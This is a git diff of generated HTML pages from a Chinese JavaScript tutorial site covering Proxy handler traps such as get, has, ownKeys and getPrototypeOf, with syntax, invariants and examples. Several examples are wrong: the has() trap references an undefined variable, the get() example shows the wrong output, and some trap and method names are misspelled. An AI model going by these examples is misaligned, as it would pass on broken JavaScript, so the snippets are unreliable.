                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/get-own-property-descriptor/index.html b/standard-built-in-objects/reflection/get-own-property-descriptor/index.html index a33bfb085..17c54008e 100644 --- a/standard-built-in-objects/reflection/get-own-property-descriptor/index.html +++ b/standard-built-in-objects/reflection/get-own-property-descriptor/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,15 +33,15 @@ -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.getOwnPropertyDescriptor

                                                                                                                            handler.getOwnPropertyDescriptor() 方法用于拦截 Object.getOwnPropertyDescriptor(),返回一个属性描述对象或者 undefined

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            getOwnPropertyDescriptor: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property返回属性名称的描述object / undefined

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getOwnPropertyDescriptor
                                                                                                                            • Reflect.getOwnPropertyDescriptor

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • getOwnPropertyDescriptor 必须返回一个 objectundefined
                                                                                                                            • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在
                                                                                                                            • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在
                                                                                                                            • 如果属性不存在作为目标对象的属性,并且目标对象的不可扩展,则不能将其报告为存在
                                                                                                                            • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在
                                                                                                                            • Object.getOwnPropertyDescriptor(target) 的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常

                                                                                                                            示例

                                                                                                                            const handler = {
                                                                                                                            getOwnPropertyDescriptor(target, key) {
                                                                                                                            if (key[0] === '_') {
                                                                                                                            return;
                                                                                                                            }
                                                                                                                            return Object.getOwnPropertyDescriptor(target, key);
                                                                                                                            },
                                                                                                                            };
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.getOwnPropertyDescriptor

                                                                                                                            handler.getOwnPropertyDescriptor() 方法用于拦截 Object.getOwnPropertyDescriptor(),返回一个属性描述对象或者 undefined

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            getOwnPropertyDescriptor: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property返回属性名称的描述object / undefined

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getOwnPropertyDescriptor
                                                                                                                            • Reflect.getOwnPropertyDescriptor

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • getOwnPropertyDescriptor 必须返回一个 objectundefined
                                                                                                                            • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在
                                                                                                                            • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在
                                                                                                                            • 如果属性不存在作为目标对象的属性,并且目标对象的不可扩展,则不能将其报告为存在
                                                                                                                            • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在
                                                                                                                            • Object.getOwnPropertyDescriptor(target) 的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常

                                                                                                                            示例

                                                                                                                            const handler = {
                                                                                                                            getOwnPropertyDescriptor(target, key) {
                                                                                                                            if (key[0] === '_') {
                                                                                                                            return;
                                                                                                                            }
                                                                                                                            return Object.getOwnPropertyDescriptor(target, key);
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const target = {
                                                                                                                            _foo: 'bar',
                                                                                                                            baz: 'tar',
                                                                                                                            };
                                                                                                                            const proxy = new Proxy(target, handler);
                                                                                                                            -
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, 'wat');
                                                                                                                            // undefined
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, '_foo');
                                                                                                                            // undefined
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, 'baz');
                                                                                                                            // { value: 'tar', writable: true, enumerable: true, configurable: true }
                                                                                                                            +
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, 'wat');
                                                                                                                            // undefined
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, '_foo');
                                                                                                                            // undefined
                                                                                                                            Object.getOwnPropertyDescriptor(proxy, 'baz');
                                                                                                                            // { value: 'tar', writable: true, enumerable: true, configurable: true }
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/get-prototype-of/index.html b/standard-built-in-objects/reflection/get-prototype-of/index.html index 589cdba81..7df3dc37f 100644 --- a/standard-built-in-objects/reflection/get-prototype-of/index.html +++ b/standard-built-in-objects/reflection/get-prototype-of/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.getPrototypeOf - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.getPrototypeOf

                                                                                                                            handler.getPrototypeOf() 方法用于拦截获取对象原型。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            getPrototypeOf: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getPropertyOf()
                                                                                                                            • Reflect.getPrototypeOf()
                                                                                                                            • __proto__
                                                                                                                            • Object.prototype.isPrototypeOf()
                                                                                                                            • instanceof

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • getPrototypeOf() 方法返回的不是对象也不是 null
                                                                                                                            • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型

                                                                                                                            示例

                                                                                                                            const obj = {};
                                                                                                                            const proto = {};
                                                                                                                            const handler = {
                                                                                                                            getPrototypeOf(target) {
                                                                                                                            console.log(target === obj);
                                                                                                                            // true
                                                                                                                            console.log(this === handler);
                                                                                                                            // true
                                                                                                                            return proto;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.getPrototypeOf

                                                                                                                            handler.getPrototypeOf() 方法用于拦截获取对象原型。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            getPrototypeOf: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getPropertyOf()
                                                                                                                            • Reflect.getPrototypeOf()
                                                                                                                            • __proto__
                                                                                                                            • Object.prototype.isPrototypeOf()
                                                                                                                            • instanceof

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • getPrototypeOf() 方法返回的不是对象也不是 null
                                                                                                                            • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型

                                                                                                                            示例

                                                                                                                            const obj = {};
                                                                                                                            const proto = {};
                                                                                                                            const handler = {
                                                                                                                            getPrototypeOf(target) {
                                                                                                                            console.log(target === obj);
                                                                                                                            // true
                                                                                                                            console.log(this === handler);
                                                                                                                            // true
                                                                                                                            return proto;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const proxy = new Proxy(obj, handler);
                                                                                                                            console.log(Object.getPrototypeOf(proxy) === proto);
                                                                                                                            // true

                                                                                                                            五种触发 getPrototypeOf() 代理方法的方式:

                                                                                                                            const obj = {};
                                                                                                                            const proxy = new Proxy(obj, {
                                                                                                                            getPrototypeOf(target) {
                                                                                                                            return Array.prototype;
                                                                                                                            },
                                                                                                                            });
                                                                                                                            -
                                                                                                                            console.log(
                                                                                                                            Object.getPrototypeOf(proxy) === Array.prototype,
                                                                                                                            // true
                                                                                                                            Reflect.getPrototypeOf(proxy) === Array.prototype,
                                                                                                                            // true
                                                                                                                            proxy.__proto__ === Array.prototype,
                                                                                                                            // true
                                                                                                                            Array.prototype.isPrototypeOf(proxy),
                                                                                                                            // true
                                                                                                                            proxy instanceof Array
                                                                                                                            // true
                                                                                                                            );
                                                                                                                            +
                                                                                                                            console.log(
                                                                                                                            Object.getPrototypeOf(proxy) === Array.prototype,
                                                                                                                            // true
                                                                                                                            Reflect.getPrototypeOf(proxy) === Array.prototype,
                                                                                                                            // true
                                                                                                                            proxy.__proto__ === Array.prototype,
                                                                                                                            // true
                                                                                                                            Array.prototype.isPrototypeOf(proxy),
                                                                                                                            // true
                                                                                                                            proxy instanceof Array
                                                                                                                            // true
                                                                                                                            );
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/get/index.html b/standard-built-in-objects/reflection/get/index.html index de178fe21..bac1aa8b0 100644 --- a/standard-built-in-objects/reflection/get/index.html +++ b/standard-built-in-objects/reflection/get/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.get - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.get

                                                                                                                            handler.get() 方法用于拦截对象属性的读取操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            get: function (target, property, receiver) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property被获取的属性名string
                                                                                                                            receiverProxy 或者继承 Proxy 的对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 访问属性:proxy[foo]proxy.bar
                                                                                                                            • 访问原型链上的属性:Object.create(proxy)[foo]
                                                                                                                            • Reflect.get()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同
                                                                                                                            • 如果要访问的目标属性没有配置访问方法,即 get 方法是 undefined 的,则返回值必须为 undefined

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截属性值的读取操作:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get: function (target, prop, receiver) {
                                                                                                                            console.log('Called:' + prop);
                                                                                                                            return 10;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.get

                                                                                                                            handler.get() 方法用于拦截对象属性的读取操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            get: function (target, property, receiver) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property被获取的属性名string
                                                                                                                            receiverProxy 或者继承 Proxy 的对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 访问属性:proxy[foo]proxy.bar
                                                                                                                            • 访问原型链上的属性:Object.create(proxy)[foo]
                                                                                                                            • Reflect.get()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同
                                                                                                                            • 如果要访问的目标属性没有配置访问方法,即 get 方法是 undefined 的,则返回值必须为 undefined

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截属性值的读取操作:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            get: function (target, prop, receiver) {
                                                                                                                            console.log('Called:' + prop);
                                                                                                                            return 10;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            console.log(proxy.foo);
                                                                                                                            // foo

                                                                                                                            以下是违反约束的情况:

                                                                                                                            const foo = {};
                                                                                                                            Object.defineProperty(foo, 'a', {
                                                                                                                            configurable: false,
                                                                                                                            enumerable: false,
                                                                                                                            value: 10,
                                                                                                                            writable: false,
                                                                                                                            });
                                                                                                                            const proxy = new Proxy(foo, {
                                                                                                                            get: function (target, prop) {
                                                                                                                            return 'b';
                                                                                                                            },
                                                                                                                            });
                                                                                                                            @@ -46,12 +49,12 @@
                                                                                                                            for (let child of children) {
                                                                                                                            if (typeof child === 'string') {
                                                                                                                            child = document.createTextNode(child);
                                                                                                                            }
                                                                                                                            ele.appendChild(child);
                                                                                                                            }
                                                                                                                            return ele;
                                                                                                                            };
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            const el = dom.div(
                                                                                                                            {},
                                                                                                                            'Hello, my name is ',
                                                                                                                            dom.a({ href: '//example.com' }, 'Mark'),
                                                                                                                            '. I like:',
                                                                                                                            dom.ul({}, dom.li({}, 'The web'), dom.li({}, 'Food'), dom.li({}, "…actually that's it"))
                                                                                                                            );
                                                                                                                            -
                                                                                                                            document.body.appendChild(el);
                                                                                                                            +
                                                                                                                            document.body.appendChild(el);
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/has/index.html b/standard-built-in-objects/reflection/has/index.html index 227a9d35f..393baf6ca 100644 --- a/standard-built-in-objects/reflection/has/index.html +++ b/standard-built-in-objects/reflection/has/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.has - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.has

                                                                                                                            handler.has() 方法主要用于拦截 HasProperty 操作,即判断对象是否具有某个属性时,这个方法会生效,典型的操作就是 in 运算符。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            has: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property需要检查是否存在的属性string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 属性查询:foo in proxy
                                                                                                                            • 继承属性查询:foo in Object.create(proxy)
                                                                                                                            • with 检查:with(proxy){(foo);}
                                                                                                                            • Reflect.has()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象的某个属性本身不可被配置,则该属性不能够被代理隐藏
                                                                                                                            • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截 in 操作符:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            has: function (target, prop) {
                                                                                                                            console.log('Called:' + prop);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.has

                                                                                                                            handler.has() 方法主要用于拦截 HasProperty 操作,即判断对象是否具有某个属性时,这个方法会生效,典型的操作就是 in 运算符。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            has: function (target, property) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object
                                                                                                                            property需要检查是否存在的属性string

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • 属性查询:foo in proxy
                                                                                                                            • 继承属性查询:foo in Object.create(proxy)
                                                                                                                            • with 检查:with(proxy){(foo);}
                                                                                                                            • Reflect.has()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError 异常:

                                                                                                                            • 如果目标对象的某个属性本身不可被配置,则该属性不能够被代理隐藏
                                                                                                                            • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏

                                                                                                                            示例

                                                                                                                            以下代码演示如何拦截 in 操作符:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            has: function (target, prop) {
                                                                                                                            console.log('Called:' + prop);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            console.log('foo' in proxy);
                                                                                                                            // "Called: foo"
                                                                                                                            // true

                                                                                                                            下面代码违反了约束:

                                                                                                                            const foo = { a: 10 };
                                                                                                                            Object.preventExtensions(foo);
                                                                                                                            const proxy = new Proxy(foo, {
                                                                                                                            has: function (target, prop) {
                                                                                                                            return false;
                                                                                                                            },
                                                                                                                            });
                                                                                                                            console.log('a' in proxy);
                                                                                                                            // Uncaught TypeError: 'has' on proxy: trap returned falsish for property 'a' but the proxy target is not extensible

                                                                                                                            隐藏某些属性不被发现

                                                                                                                            const handler = {
                                                                                                                            has(target, prop) {
                                                                                                                            if (key[0] === '_') {
                                                                                                                            return false;
                                                                                                                            }
                                                                                                                            return key in target;
                                                                                                                            },
                                                                                                                            };
                                                                                                                            const target = { _prop: 'foo', prop: 'foo' };
                                                                                                                            const proxy = new Proxy(target, handler);
                                                                                                                            -
                                                                                                                            console.log('_prop' in proxy);
                                                                                                                            // false

                                                                                                                            上面代码中,如果原对象的属性名的第一个字符是下划线,proxy.has 就会返回 false,从而不会被 in 运算符发现。

                                                                                                                            值得注意的是,has 方法拦截的是 HasProperty 操作,而不是 HasOwnProperty 操作,即 has 方法不判断一个属性是对象自身的属性,还是继承的属性。

                                                                                                                            另外,虽然 for...in 循环也用到了 in 运算符,但是 has 拦截对 for...in 循环不生效。

                                                                                                                            +
                                                                                                                            console.log('_prop' in proxy);
                                                                                                                            // false

                                                                                                                            上面代码中,如果原对象的属性名的第一个字符是下划线,proxy.has 就会返回 false,从而不会被 in 运算符发现。

                                                                                                                            值得注意的是,has 方法拦截的是 HasProperty 操作,而不是 HasOwnProperty 操作,即 has 方法不判断一个属性是对象自身的属性,还是继承的属性。

                                                                                                                            另外,虽然 for...in 循环也用到了 in 运算符,但是 has 拦截对 for...in 循环不生效。

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/index.html b/standard-built-in-objects/reflection/index.html index 6df8d460f..0a2c6d743 100644 --- a/standard-built-in-objects/reflection/index.html +++ b/standard-built-in-objects/reflection/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/is-extensible/index.html b/standard-built-in-objects/reflection/is-extensible/index.html index 9d35b5bc6..b4ee2152b 100644 --- a/standard-built-in-objects/reflection/is-extensible/index.html +++ b/standard-built-in-objects/reflection/is-extensible/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.isExtensions - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.isExtensions

                                                                                                                            handler.isExtensions() 方法用于拦截 Object.isExtensible 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            isExtensions: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.isExtensible()
                                                                                                                            • Reflect.isExtensible()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • Object.isExtensible(proxy) 必须同 Object.isExtensible(target) 返回相同值,也就是必须返回 true 或者为 true 的值,返回 false 和为 false 的值都会报错

                                                                                                                            示例

                                                                                                                            以下代码演示 Object.isExtensible()

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            isExtensible(target) {
                                                                                                                            console.log('Called');
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.isExtensions

                                                                                                                            handler.isExtensions() 方法用于拦截 Object.isExtensible 操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            isExtensions: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.isExtensible()
                                                                                                                            • Reflect.isExtensible()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • Object.isExtensible(proxy) 必须同 Object.isExtensible(target) 返回相同值,也就是必须返回 true 或者为 true 的值,返回 false 和为 false 的值都会报错

                                                                                                                            示例

                                                                                                                            以下代码演示 Object.isExtensible()

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            isExtensible(target) {
                                                                                                                            console.log('Called');
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            console.log(Object.isExtensible(proxy));
                                                                                                                            // "Called"
                                                                                                                            // true

                                                                                                                            以下代码演示违反约束的情况:

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            isExtensible(target) {
                                                                                                                            return false;
                                                                                                                            // return 0 或 return NaN 都会报错
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            -
                                                                                                                            Object.isExtensible(proxy);
                                                                                                                            // TypeError is thrown
                                                                                                                            +
                                                                                                                            Object.isExtensible(proxy);
                                                                                                                            // TypeError is thrown
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/own-keys/index.html b/standard-built-in-objects/reflection/own-keys/index.html index 04aa68d38..8ac9869c3 100644 --- a/standard-built-in-objects/reflection/own-keys/index.html +++ b/standard-built-in-objects/reflection/own-keys/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.ownKeys - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.ownKeys

                                                                                                                            handler.ownKeys() 方法用于拦截对象自身属性的读取操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            ownKeys: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            ownKeys 方法必须返回一个可枚举对象。

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getOwnPropertyNames()
                                                                                                                            • Object.getOwnPropertySymbols()
                                                                                                                            • Object.keys()
                                                                                                                            • Reflect.ownKeys()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • ownKeys 的结果必须是一个数组
                                                                                                                            • 数组的元素类型要么是字符串,要么是 Symbol 类型
                                                                                                                            • 结果列表必须包含目标对象的所有不可配置(non-configurable)、自有(own)属性的 key
                                                                                                                            • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的 key,不能有其他值

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            ownKeys(target) {
                                                                                                                            console.log('Called');
                                                                                                                            return ['a', 'b', 'c'];
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.ownKeys

                                                                                                                            handler.ownKeys() 方法用于拦截对象自身属性的读取操作。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            ownKeys: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            ownKeys 方法必须返回一个可枚举对象。

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.getOwnPropertyNames()
                                                                                                                            • Object.getOwnPropertySymbols()
                                                                                                                            • Object.keys()
                                                                                                                            • Reflect.ownKeys()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • ownKeys 的结果必须是一个数组
                                                                                                                            • 数组的元素类型要么是字符串,要么是 Symbol 类型
                                                                                                                            • 结果列表必须包含目标对象的所有不可配置(non-configurable)、自有(own)属性的 key
                                                                                                                            • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的 key,不能有其他值

                                                                                                                            示例

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            ownKeys(target) {
                                                                                                                            console.log('Called');
                                                                                                                            return ['a', 'b', 'c'];
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            console.log(Object.getOwnPropertyNames(proxy));
                                                                                                                            // 'Called'
                                                                                                                            // ['a', 'b', 'c']

                                                                                                                            循环

                                                                                                                            for...in 循环也受到 ownKeys() 方法的拦截:

                                                                                                                            const target = {
                                                                                                                            foo: 'bar',
                                                                                                                            };
                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            ownKeys: function () {
                                                                                                                            return ['a', 'b'];
                                                                                                                            },
                                                                                                                            });
                                                                                                                            for (let key in proxy) {
                                                                                                                            console.log(key);
                                                                                                                            // 没有任何输出
                                                                                                                            }

                                                                                                                            上面代码中,ownKeys() 指定只返回 ab 属性,由于 target 没有这两个属性,因此 for...in 循环不会有任何输出。

                                                                                                                            ownKeys() 方法返回的数组成员,只能是字符串或 Symbol 值。如果有其他类型的值,或者返回的根本不是数组,就会报错。

                                                                                                                            const target = {};
                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            ownKeys: function (target) {
                                                                                                                            return [123, true, undefined, null, {}, []];
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            -
                                                                                                                            Object.getOwnPropertyNames(proxy);
                                                                                                                            // Uncaught TypeError: 123 is not a valid property name
                                                                                                                            +
                                                                                                                            Object.getOwnPropertyNames(proxy);
                                                                                                                            // Uncaught TypeError: 123 is not a valid property name
                                                                                                                            - + diff --git a/standard-built-in-objects/reflection/prevent-extensions/index.html b/standard-built-in-objects/reflection/prevent-extensions/index.html index 33f6189e8..71f6c54dd 100644 --- a/standard-built-in-objects/reflection/prevent-extensions/index.html +++ b/standard-built-in-objects/reflection/prevent-extensions/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Proxy - handler.preventExtensions - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.preventExtensions

                                                                                                                            handler.preventExtensions() 方法用于拦截 Object.preventExtensions 操作,该方法必须返回一个布尔值,否则会被自动转为布尔值。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            preventExtensions: function (target) {
                                                                                                                            // do something
                                                                                                                            },
                                                                                                                            });
                                                                                                                            参数说明类型
                                                                                                                            target目标对象object

                                                                                                                            说明

                                                                                                                            拦截

                                                                                                                            该方法会拦截目标对象的以下操作:

                                                                                                                            • Object.preventExtensions()
                                                                                                                            • Reflect.preventExtensions()

                                                                                                                            约束

                                                                                                                            如果违背了以下的约束,proxy 会抛出 TypeError:

                                                                                                                            • 如果 Object.isExtensible(proxy)falseObject.preventExtensions(proxy) 只能返回 true

                                                                                                                            示例

                                                                                                                            以下代码演示了如何拦截 Object.preventExtensions()

                                                                                                                            const proxy = new Proxy(
                                                                                                                            {},
                                                                                                                            {
                                                                                                                            preventExtensions: function (target) {
                                                                                                                            console.log('Called');
                                                                                                                            Object.preventExtensions(target);
                                                                                                                            return true;
                                                                                                                            },
                                                                                                                            }
                                                                                                                            );
                                                                                                                            -
                                                                                                                            console.log(Object.preventExtensions(proxy));
                                                                                                                            // "Called"
                                                                                                                            // false
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Proxy - handler.preventExtensions

                                                                                                                            handler.preventExtensions() 方法用于拦截 Object.preventExtensions 操作,该方法必须返回一个布尔值,否则会被自动转为布尔值。

                                                                                                                            语法

                                                                                                                            const proxy = new Proxy(target, {
                                                                                                                            preventExtensions: function (target) {
                                                                                                                            // do something
